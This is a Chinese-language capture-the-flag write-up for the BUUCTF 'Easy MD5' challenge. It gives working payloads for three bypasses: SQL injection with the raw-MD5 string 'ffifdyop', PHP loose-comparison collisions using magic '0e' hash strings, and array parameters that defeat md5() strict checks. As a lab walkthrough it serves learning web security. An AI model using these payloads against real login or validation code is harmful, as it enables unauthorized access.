BUUCTF [BJDCTF2020] Easy MD5
启动环境后,只有一个提交功能:
查看网页源码没发现什么,尝试查看请求头信息:
在Response Headers
发现提示:
select * from 'admin' where password=md5($pass,true)
查看PHP中md5()
函数的用法:
当存在参数true
时,使用原始16
字符二进制格式。
查阅其他wp,查找到ffifdyop
字符串经过MD5哈希之后,会变成276f722736c95d99e921722cf9ed621c
,MySQL数据库会把HEX
转换成ASCII
解释,所以这几个字符相当于:' or '6xxxxxx
,在MySQL中,再用做布尔型判断时,以1
开头的字符串会被当作整形数(以单引号‘
括起来的整形数)
经过拼接形成:
select * from 'admin' where password='' or '6xxxxxx'
相当于万能密码,以此绕过md5()
函数。
提交字符串ffifdyop
,得到了新的页面:
查看网页源代码,得到新的提示:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
需要GET
传入参数a
、b
的值:
a
与b
的值不能相同a
与b
经过md5()
哈希后的值相同
PHP
弱类型比较,在比较时,PHP会把每一个以“0e
”开头的哈希值都解释为“0
”,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0e
”开头的,那么PHP将会认为他们相同,即为“0
”
以下为几个md5()
哈希后值为0e
的字符串:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
取其中两个作为参数a
与b
的值即可构造Payload:
?a=QNKCDZO&b=s878926199a
传入后得到新的源码:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
根据源码提示:
- 通过
POST
方式传入参数param1
与param2
的值 - 两个值不相同
- 经过
md5()
哈希后的值相同
由于PHP中md5()
函数不能处理数组,所以使用数组绕过比较,构造Payload:
param1[]=1¶m2[]=2
传入参数得到flag:
将PHP中md5()
函数的两种绕过结合。